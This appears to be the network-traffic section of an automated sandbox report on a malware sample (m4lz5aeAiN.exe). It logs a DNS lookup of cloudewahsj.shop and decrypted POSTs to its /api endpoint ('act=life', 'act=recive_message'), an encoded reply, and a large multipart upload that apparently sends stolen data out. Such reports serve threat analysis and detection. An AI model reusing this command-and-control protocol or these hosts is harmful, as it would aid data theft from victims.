Jan 4, 2025 15:33:12.067178011 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.067204952 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.067229986 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.067238092 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.067286968 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.067579031 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.071438074 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.071494102 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.071501970 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.124330044 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.153361082 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.153414965 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.153441906 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.153465033 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.153476954 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.153529882 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.153537035 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.153558969 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.153599024 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.154000998 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.154016018 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.154025078 CET	49720	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.154031038 CET	443	49720	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.380621910 CET	49726	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.380670071 CET	443	49726	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.380754948 CET	49726	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.381043911 CET	49726	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.381057024 CET	443	49726	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.846872091 CET	443	49726	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.847187996 CET	49726	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.848392963 CET	49726	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.848406076 CET	443	49726	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.848651886 CET	443	49726	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:12.849931002 CET	49726	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.850078106 CET	49726	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:12.850112915 CET	443	49726	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:13.433996916 CET	443	49726	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:13.434165001 CET	443	49726	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:13.434225082 CET	49726	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:13.437310934 CET	49726	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:13.437323093 CET	443	49726	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:13.918865919 CET	49737	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:13.918921947 CET	443	49737	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:13.919015884 CET	49737	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:13.919454098 CET	49737	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:13.919470072 CET	443	49737	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:14.397450924 CET	443	49737	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:14.397574902 CET	49737	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:14.399235010 CET	49737	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:14.399249077 CET	443	49737	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:14.399528980 CET	443	49737	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:14.401062965 CET	49737	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:14.401215076 CET	49737	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:14.401246071 CET	443	49737	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:14.401307106 CET	49737	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:14.401315928 CET	443	49737	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:14.891695023 CET	443	49737	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:14.891813040 CET	443	49737	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:14.891989946 CET	49737	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:14.892251015 CET	49737	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:14.892267942 CET	443	49737	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:15.135123014 CET	49746	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:15.135142088 CET	443	49746	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:15.135231018 CET	49746	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:15.135520935 CET	49746	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:15.135530949 CET	443	49746	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:15.598815918 CET	443	49746	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:15.598887920 CET	49746	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:15.600419044 CET	49746	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:15.600430965 CET	443	49746	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:15.600672960 CET	443	49746	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:15.601824045 CET	49746	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:15.601999044 CET	49746	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:15.602029085 CET	443	49746	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:15.602093935 CET	49746	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:15.602103949 CET	443	49746	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:16.231988907 CET	443	49746	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:16.232098103 CET	443	49746	104.21.80.1	192.168.2.6
Jan 4, 2025 15:33:16.232156992 CET	49746	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:16.232496977 CET	49746	443	192.168.2.6	104.21.80.1
Jan 4, 2025 15:33:16.232517958 CET	443	49746	104.21.80.1	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 4, 2025 15:33:09.908704996 CET	55059	53	192.168.2.6	1.1.1.1
Jan 4, 2025 15:33:09.920384884 CET	53	55059	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 4, 2025 15:33:09.908704996 CET	192.168.2.6	1.1.1.1	0x3f00	Standard query (0)	cloudewahsj.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 4, 2025 15:33:09.920384884 CET	1.1.1.1	192.168.2.6	0x3f00	No error (0)	cloudewahsj.shop	104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 4, 2025 15:33:09.920384884 CET	1.1.1.1	192.168.2.6	0x3f00	No error (0)	cloudewahsj.shop	104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 4, 2025 15:33:09.920384884 CET	1.1.1.1	192.168.2.6	0x3f00	No error (0)	cloudewahsj.shop	104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 4, 2025 15:33:09.920384884 CET	1.1.1.1	192.168.2.6	0x3f00	No error (0)	cloudewahsj.shop	104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 4, 2025 15:33:09.920384884 CET	1.1.1.1	192.168.2.6	0x3f00	No error (0)	cloudewahsj.shop	104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 4, 2025 15:33:09.920384884 CET	1.1.1.1	192.168.2.6	0x3f00	No error (0)	cloudewahsj.shop	104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 4, 2025 15:33:09.920384884 CET	1.1.1.1	192.168.2.6	0x3f00	No error (0)	cloudewahsj.shop	104.21.96.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cloudewahsj.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49718	104.21.80.1	443	1808	C:\Users\user\Desktop\m4lz5aeAiN.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-04 14:33:10 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cloudewahsj.shop
2025-01-04 14:33:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-04 14:33:11 UTC	1131	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 14:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d8fnmef7dqvlppmsf3rl9cbdll; expires=Wed, 30 Apr 2025 08:19:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MI%2FYhv5xWFzHKITx4R%2F3b%2FKIf%2FS6%2FINamGd%2FxOHQOm9A8QfUbK6QMETvsuHRIPjQh8TubbpcsMtdjuuqI%2BRT1kokeL52IAOM4XlKOPoNJYANarJKDCnppear73haxsg23bK%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fcbf131eb0b8c0f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2024&min_rtt=2021&rtt_var=765&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=907&delivery_rate=1423695&cwnd=223&unsent_bytes=0&cid=b857746baf0ce18a&ts=641&x=0"
2025-01-04 14:33:11 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-04 14:33:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49720	104.21.80.1	443	1808	C:\Users\user\Desktop\m4lz5aeAiN.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-04 14:33:11 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 74 Host: cloudewahsj.shop
2025-01-04 14:33:11 UTC	74	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 68 35 56 66 48 2d 2d 26 6a 3d 31 34 34 38 62 62 36 32 65 31 32 37 36 38 32 31 64 35 30 32 34 36 65 62 38 38 62 33 31 30 39 66 Data Ascii: act=recive_message&ver=4.0&lid=4h5VfH--&j=1448bb62e1276821d50246eb88b3109f
2025-01-04 14:33:12 UTC	1119	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 14:33:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4kjr0sqgomht11mfcvrna0bmeg; expires=Wed, 30 Apr 2025 08:19:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rGPIaxfoEx2H9nYY2wUqzo%2BY6kacWWAZtcgcLzYAN0txfIiOJArh0XyTfAGoPaBSGYtk0hi7UdlrOD%2BmU98WljDQ1Edh3huhwpoVZ55xT39dqJQE9aEjmttTPhFczM4Ol2p7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fcbf137df2143ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1722&min_rtt=1706&rtt_var=672&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=974&delivery_rate=1591280&cwnd=230&unsent_bytes=0&cid=da3a0330d8f18c3a&ts=487&x=0"
2025-01-04 14:33:12 UTC	250	IN	Data Raw: 31 34 39 30 0d 0a 75 72 6f 53 31 6c 75 79 30 6c 6f 57 2b 4e 57 78 6d 69 33 31 6f 76 65 58 4b 54 68 58 48 45 4c 61 72 2f 2f 33 35 59 33 75 56 72 66 42 6d 47 54 30 59 59 62 2b 65 47 57 64 39 34 76 75 58 34 44 48 32 37 56 49 58 48 55 6d 4a 4c 76 44 6a 4a 4c 4a 72 35 67 37 6c 59 44 63 63 37 6f 6f 31 2f 35 34 63 34 44 33 69 38 46 57 31 38 65 5a 74 52 4d 61 4d 6e 59 67 75 38 4f 64 6c 6f 37 69 6e 6a 72 55 30 74 5a 31 76 6a 37 52 74 6a 74 36 6c 62 44 55 2f 30 79 66 7a 4a 37 36 51 56 56 31 4d 47 43 2f 31 64 33 4e 78 38 43 4c 49 74 62 33 32 32 47 39 65 63 2f 2b 49 54 53 64 75 35 4f 67 44 35 54 48 6c 66 74 50 58 44 78 30 4b 72 4c 4c 6e 4a 4f 50 2f 59 63 77 33 39 4c 59 64 72 38 30 32 4b 49 32 63 4a 4b 37 30 76 56 4d 31 34 37 56 38 6c 4d 61 62 54 35 7a Data Ascii: 1490uroS1luy0loW+NWxmi31oveXKThXHELar//35Y3uVrfBmGT0YYb+eGWd94vuX4DH27VIXHUmJLvDjJLJr5g7lYDcc7oo1/54c4D3i8FW18eZtRMaMnYgu8Odlo7injrU0tZ1vj7Rtjt6lbDU/0yfzJ76QVV1MGC/1d3Nx8CLItb322G9ec/+ITSdu5OgD5THlftPXDx0KrLLnJOP/Ycw39LYdr802KI2cJK70vVM147V8lMabT5z
2025-01-04 14:33:12 UTC	1369	IN	Data Raw: 69 73 36 4d 68 4a 4c 69 6e 44 4b 56 78 35 5a 70 39 44 37 63 38 47 41 30 6b 72 76 64 2f 55 79 59 78 35 54 31 57 56 55 31 66 53 69 77 79 5a 65 61 69 4f 43 43 50 74 4c 51 30 58 65 37 50 74 69 32 4e 33 66 61 2b 5a 50 2f 56 39 65 59 31 64 56 62 57 54 5a 71 4c 61 6d 4e 67 74 75 65 72 34 73 34 6c 59 43 59 64 72 6f 34 33 62 41 71 66 4a 47 38 31 75 70 45 6e 73 32 59 39 55 5a 51 4f 6e 30 67 76 38 65 58 6d 6f 33 72 67 54 6e 54 32 4e 67 77 2b 6e 6e 58 71 48 67 73 32 70 54 57 36 45 69 62 31 74 66 50 43 30 56 37 5a 32 43 2f 77 64 33 4e 78 2b 65 4a 4e 39 62 54 31 33 4f 38 4d 73 4b 77 4b 6e 4b 58 73 73 48 2b 53 70 6e 4b 6c 75 64 42 56 44 4e 39 4b 62 50 45 6d 4a 4b 44 72 38 4a 30 30 73 43 59 4b 50 51 59 33 62 73 30 66 6f 32 33 6b 2b 63 42 6a 6f 43 53 2b 51 73 43 64 58 6f Data Ascii: is6MhJLinDKVx5Zp9D7c8GA0krvd/UyYx5T1WVU1fSiwyZeaiOCCPtLQ0Xe7Pti2N3fa+ZP/V9eY1dVbWTZqLamNgtuer4s4lYCYdro43bAqfJG81upEns2Y9UZQOn0gv8eXmo3rgTnT2Ngw+nnXqHgs2pTW6Eib1tfPC0V7Z2C/wd3Nx+eJN9bT13O8MsKwKnKXssH+SpnKludBVDN9KbPEmJKDr8J00sCYKPQY3bs0fo23k+cBjoCS+QsCdXo
2025-01-04 14:33:12 UTC	1369	IN	Data Raw: 39 57 41 39 38 78 73 6c 66 4c 62 5a 4c 63 7a 6b 6f 55 37 65 70 53 77 78 62 68 51 32 64 6e 56 38 6b 63 61 62 54 34 74 75 63 57 62 68 34 6a 69 6a 7a 72 62 31 39 31 2f 76 44 6e 51 76 54 31 77 6b 62 7a 51 39 55 75 46 79 70 58 39 54 6c 73 2f 64 47 44 32 6a 5a 71 4e 78 37 66 4d 42 63 4c 54 6d 6b 57 33 4e 39 36 33 4c 6a 53 46 2b 63 71 34 53 4a 75 41 7a 62 56 47 55 6a 42 37 4c 37 6e 48 6b 35 43 4e 34 34 51 36 31 73 72 58 64 4c 51 31 32 4c 6f 31 65 70 36 2f 32 76 4e 45 6b 63 43 55 2f 77 73 55 64 58 6b 34 2b 4a 58 64 6f 59 44 6a 67 54 75 58 37 64 74 2b 75 6a 37 47 38 43 63 36 67 2f 66 55 39 41 2f 50 67 4a 6e 38 53 31 45 2f 65 69 43 2f 77 4a 69 57 67 4f 79 42 4d 39 2f 57 33 33 53 34 4d 4e 32 32 4f 48 4f 65 73 73 48 39 52 70 76 4d 31 62 73 4c 58 53 30 2b 65 50 6a 69 Data Ascii: 9WA98xslfLbZLczkoU7epSwxbhQ2dnV8kcabT4tucWbh4jijzrb191/vDnQvT1wkbzQ9UuFypX9Tls/dGD2jZqNx7fMBcLTmkW3N963LjSF+cq4SJuAzbVGUjB7L7nHk5CN44Q61srXdLQ12Lo1ep6/2vNEkcCU/wsUdXk4+JXdoYDjgTuX7dt+uj7G8Cc6g/fU9A/PgJn8S1E/eiC/wJiWgOyBM9/W33S4MN22OHOessH9RpvM1bsLXS0+ePji
2025-01-04 14:33:12 UTC	1369	IN	Data Raw: 66 4d 50 64 7a 4b 31 6e 36 39 4e 4e 61 34 50 33 71 58 76 4e 58 7a 53 4a 44 47 6d 50 31 47 58 7a 5a 2f 4a 4c 4c 66 6e 70 36 4e 34 6f 5a 30 6d 35 6a 66 61 50 52 68 6b 4a 63 30 58 59 71 73 77 65 34 50 69 49 36 4d 74 55 78 57 64 53 5a 67 75 38 4b 55 6d 6f 2f 6e 67 7a 76 52 31 74 35 32 75 54 7a 66 75 69 70 38 6c 4c 72 59 39 30 53 46 77 4a 6a 78 52 31 34 39 64 53 72 34 67 39 32 53 6e 36 2f 55 64 4f 44 56 31 33 43 33 4c 35 43 76 64 6d 33 61 73 4e 2b 34 46 39 66 4d 6d 2f 56 45 56 6a 6c 31 4b 4c 6e 42 6b 35 4b 43 35 6f 51 38 78 39 6e 63 65 4c 55 33 33 37 45 38 63 5a 2b 7a 31 50 78 4a 6d 49 44 62 74 55 78 43 64 53 5a 67 6c 2b 71 6f 31 36 62 56 7a 43 75 62 77 5a 68 33 75 48 6d 49 38 44 52 33 6c 72 2f 63 2f 6b 61 62 79 70 7a 2b 52 31 45 78 63 69 6d 39 79 35 79 51 67 Data Ascii: fMPdzK1n69NNa4P3qXvNXzSJDGmP1GXzZ/JLLfnp6N4oZ0m5jfaPRhkJc0XYqswe4PiI6MtUxWdSZgu8KUmo/ngzvR1t52uTzfuip8lLrY90SFwJjxR149dSr4g92Sn6/UdODV13C3L5Cvdm3asN+4F9fMm/VEVjl1KLnBk5KC5oQ8x9nceLU337E8cZ+z1PxJmIDbtUxCdSZgl+qo16bVzCubwZh3uHmI8DR3lr/c/kabypz+R1Excim9y5yQg
2025-01-04 14:33:12 UTC	915	IN	Data Raw: 63 79 74 5a 39 75 7a 48 59 75 54 6c 77 6e 37 72 56 39 45 57 57 78 35 76 37 51 78 70 37 50 69 65 67 6a 63 58 56 70 76 2b 58 4a 73 50 56 2b 58 32 37 65 63 2f 2b 49 54 53 64 75 35 4f 67 44 35 37 53 6b 66 68 5a 55 7a 4a 77 4c 37 76 66 6e 4a 69 4d 2f 59 73 37 30 64 2f 55 64 72 73 2f 30 62 55 79 65 4a 32 79 32 50 64 44 31 34 37 56 38 6c 4d 61 62 54 34 4f 73 39 36 4b 6c 6f 6e 6b 6d 69 2b 56 78 35 5a 70 39 44 37 63 38 47 41 30 6d 62 7a 59 2f 45 2b 62 77 4a 48 34 53 30 67 36 65 53 65 78 78 6f 2b 66 67 4f 69 48 50 4e 37 58 33 6d 4b 34 4e 38 4b 31 4b 6d 62 61 2b 5a 50 2f 56 39 65 59 31 63 4e 4d 53 69 56 39 59 6f 6e 62 6e 6f 4f 4d 34 6f 42 30 79 70 62 42 4d 4c 4d 31 6b 4f 68 34 63 70 57 2b 30 50 64 4f 6e 73 79 59 38 45 4a 66 4e 48 67 6b 73 73 65 64 6b 34 48 75 69 54 Data Ascii: cytZ9uzHYuTlwn7rV9EWWx5v7Qxp7PiegjcXVpv+XJsPV+X27ec/+ITSdu5OgD57SkfhZUzJwL7vfnJiM/Ys70d/Udrs/0bUyeJ2y2PdD147V8lMabT4Os96Klonkmi+Vx5Zp9D7c8GA0mbzY/E+bwJH4S0g6eSexxo+fgOiHPN7X3mK4N8K1Kmba+ZP/V9eY1cNMSiV9YonbnoOM4oB0ypbBMLM1kOh4cpW+0PdOnsyY8EJfNHgkssedk4HuiT
2025-01-04 14:33:12 UTC	1369	IN	Data Raw: 33 38 30 30 0d 0a 2b 30 57 59 78 35 50 78 53 31 45 79 63 43 61 39 78 70 54 56 79 61 2b 4c 4c 4a 57 41 6d 46 61 58 4b 38 4b 43 4e 6e 65 42 39 38 79 32 56 74 66 48 6d 62 55 54 47 6a 35 32 4c 36 72 49 6c 4a 32 44 35 6f 77 77 33 39 58 66 63 4c 45 30 31 62 51 32 63 4a 32 33 33 2f 64 49 6e 38 2b 52 39 55 51 61 65 7a 34 6e 6f 49 33 46 31 61 66 6b 6d 68 58 62 30 38 6f 77 71 33 66 4a 38 44 39 34 32 75 2b 54 39 6b 61 57 79 4a 76 35 51 31 34 6e 66 69 75 78 77 70 79 61 68 2b 79 4e 50 74 33 4b 33 6e 43 2f 4d 64 65 34 50 48 71 49 74 74 79 34 41 64 66 48 6a 62 55 54 47 67 52 6f 4a 37 2f 43 33 37 79 41 39 49 30 2b 31 74 50 55 4d 4b 74 33 79 66 41 2f 65 4e 72 76 6b 2f 56 44 6d 73 53 48 2b 55 74 61 50 48 6b 71 71 73 4b 53 6d 49 54 76 69 53 62 55 79 74 64 37 73 54 72 55 76 Data Ascii: 3800+0WYx5PxS1EycCa9xpTVya+LLJWAmFaXK8KCNneB98y2VtfHmbUTGj52L6rIlJ2D5oww39XfcLE01bQ2cJ233/dIn8+R9UQaez4noI3F1afkmhXb08owq3fJ8D942u+T9kaWyJv5Q14nfiuxwpyah+yNPt3K3nC/Mde4PHqItty4AdfHjbUTGgRoJ7/C37yA9I0+1tPUMKt3yfA/eNrvk/VDmsSH+UtaPHkqqsKSmITviSbUytd7sTrUv
2025-01-04 14:33:12 UTC	1369	IN	Data Raw: 6c 32 50 42 4d 6d 63 69 63 39 55 56 61 4e 48 4d 67 2b 49 50 64 6b 70 2b 76 31 48 54 77 2b 38 39 6d 76 6e 76 7a 70 79 35 2b 6e 62 76 46 38 30 36 55 31 70 6a 6c 43 78 52 31 62 79 65 70 6a 63 57 44 6c 2f 69 4c 4b 35 76 42 6d 48 65 34 65 59 6a 77 4d 33 75 55 75 74 6a 38 52 70 4c 49 6c 76 42 4f 55 44 6c 79 49 62 44 45 6c 35 43 43 36 59 59 33 32 39 66 5a 66 4c 41 77 33 72 6c 34 4f 74 71 77 79 37 67 58 31 2f 61 46 38 6c 4e 58 4a 54 77 53 75 39 79 4d 67 49 72 2f 69 6e 62 36 32 39 52 7a 73 54 37 41 38 43 63 36 67 2f 66 55 39 41 2f 50 67 4a 58 78 52 31 6b 79 63 43 2b 31 77 70 71 65 69 4f 57 43 4a 74 72 64 30 48 79 38 4e 4d 4b 36 4d 6d 61 54 76 74 37 32 52 34 58 44 31 62 73 4c 58 53 30 2b 65 50 6a 2f 6c 35 61 4c 2b 59 45 37 6c 63 65 57 61 66 51 2b 33 50 42 67 4e 49 Data Ascii: l2PBMmcic9UVaNHMg+IPdkp+v1HTw+89mvnvzpy5+nbvF806U1pjlCxR1byepjcWDl/iLK5vBmHe4eYjwM3uUutj8RpLIlvBOUDlyIbDEl5CC6YY329fZfLAw3rl4Otqwy7gX1/aF8lNXJTwSu9yMgIr/inb629RzsT7A8Cc6g/fU9A/PgJXxR1kycC+1wpqeiOWCJtrd0Hy8NMK6MmaTvt72R4XD1bsLXS0+ePj/l5aL+YE7lceWafQ+3PBgNI
2025-01-04 14:33:12 UTC	1369	IN	Data Raw: 41 64 66 50 31 61 31 79 47 6e 30 2b 48 2f 61 4e 68 64 58 66 72 37 6b 33 32 39 62 66 5a 71 56 30 38 4c 73 75 64 5a 65 38 33 37 70 4f 6d 74 43 53 74 51 55 61 4d 7a 35 34 36 49 50 64 6b 5a 61 76 31 47 53 48 67 34 30 6a 34 32 6d 43 72 33 5a 74 32 71 47 54 6f 42 33 5a 67 49 65 31 45 78 70 79 66 54 4b 71 79 35 36 44 68 4b 69 79 43 76 58 54 31 48 4f 34 4f 4e 66 77 64 6a 53 56 39 34 76 42 44 35 54 53 68 37 70 61 54 44 68 75 4a 2f 54 46 6a 4a 69 4c 72 38 4a 30 6d 64 7a 54 66 4c 45 2b 77 50 38 71 5a 4a 47 37 78 62 52 4c 68 59 44 62 74 56 70 52 4f 6d 77 75 76 34 4b 4d 67 34 72 2f 6a 7a 48 53 6c 4e 42 68 75 54 57 51 2f 6e 68 68 6b 62 76 56 39 56 72 59 30 59 50 32 58 56 31 35 64 6a 47 31 77 64 32 71 79 61 2b 55 64 49 32 59 37 58 4f 36 4e 39 65 6d 4b 54 6d 36 76 4e 2f Data Ascii: AdfP1a1yGn0+H/aNhdXfr7k329bfZqV08LsudZe837pOmtCStQUaMz546IPdkZav1GSHg40j42mCr3Zt2qGToB3ZgIe1ExpyfTKqy56DhKiyCvXT1HO4ONfwdjSV94vBD5TSh7paTDhuJ/TFjJiLr8J0mdzTfLE+wP8qZJG7xbRLhYDbtVpROmwuv4KMg4r/jzHSlNBhuTWQ/nhhkbvV9VrY0YP2XV15djG1wd2qya+UdI2Y7XO6N9emKTm6vN/
2025-01-04 14:33:12 UTC	1369	IN	Data Raw: 34 53 31 42 52 6f 7a 50 6e 6a 71 67 39 32 52 6c 71 2f 55 5a 49 65 44 6a 53 50 6a 61 59 4b 76 64 6d 33 61 6f 5a 4f 67 48 4e 6d 41 68 37 55 54 47 6e 4a 77 4c 62 6e 4f 6b 35 61 56 2f 59 6f 33 77 39 75 66 54 6f 6f 63 33 62 30 39 65 70 32 4a 37 64 6c 46 68 38 32 61 38 6e 56 6b 41 6d 38 6e 71 49 2b 37 6c 70 48 73 7a 48 71 56 77 4a 67 6f 39 42 6a 61 6f 44 56 37 6e 66 65 64 75 45 76 58 6d 4e 58 51 52 6c 63 77 63 43 66 36 37 4a 65 46 69 75 43 4c 64 4a 75 59 31 44 44 73 65 64 47 36 4b 48 6d 56 73 4a 2f 2f 56 5a 43 41 32 37 56 46 47 6d 30 2b 49 62 4c 64 6b 4a 71 41 6f 34 6f 36 32 35 6a 48 50 71 31 35 78 76 42 67 4a 39 54 33 77 62 67 58 31 34 65 62 2b 45 70 5a 4f 33 30 79 71 73 75 65 67 34 53 6f 73 67 72 77 31 64 56 31 75 6a 37 75 6a 68 6c 2b 69 72 72 63 2f 77 32 33 Data Ascii: 4S1BRozPnjqg92Rlq/UZIeDjSPjaYKvdm3aoZOgHNmAh7UTGnJwLbnOk5aV/Yo3w9ufTooc3b09ep2J7dlFh82a8nVkAm8nqI+7lpHszHqVwJgo9BjaoDV7nfeduEvXmNXQRlcwcCf67JeFiuCLdJuY1DDsedG6KHmVsJ//VZCA27VFGm0+IbLdkJqAo4o625jHPq15xvBgJ9T3wbgX14eb+EpZO30yqsueg4Sosgrw1dV1uj7ujhl+irrc/w23

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49726	104.21.80.1	443	1808	C:\Users\user\Desktop\m4lz5aeAiN.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-04 14:33:12 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9I5B9KLZ4GY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12812 Host: cloudewahsj.shop
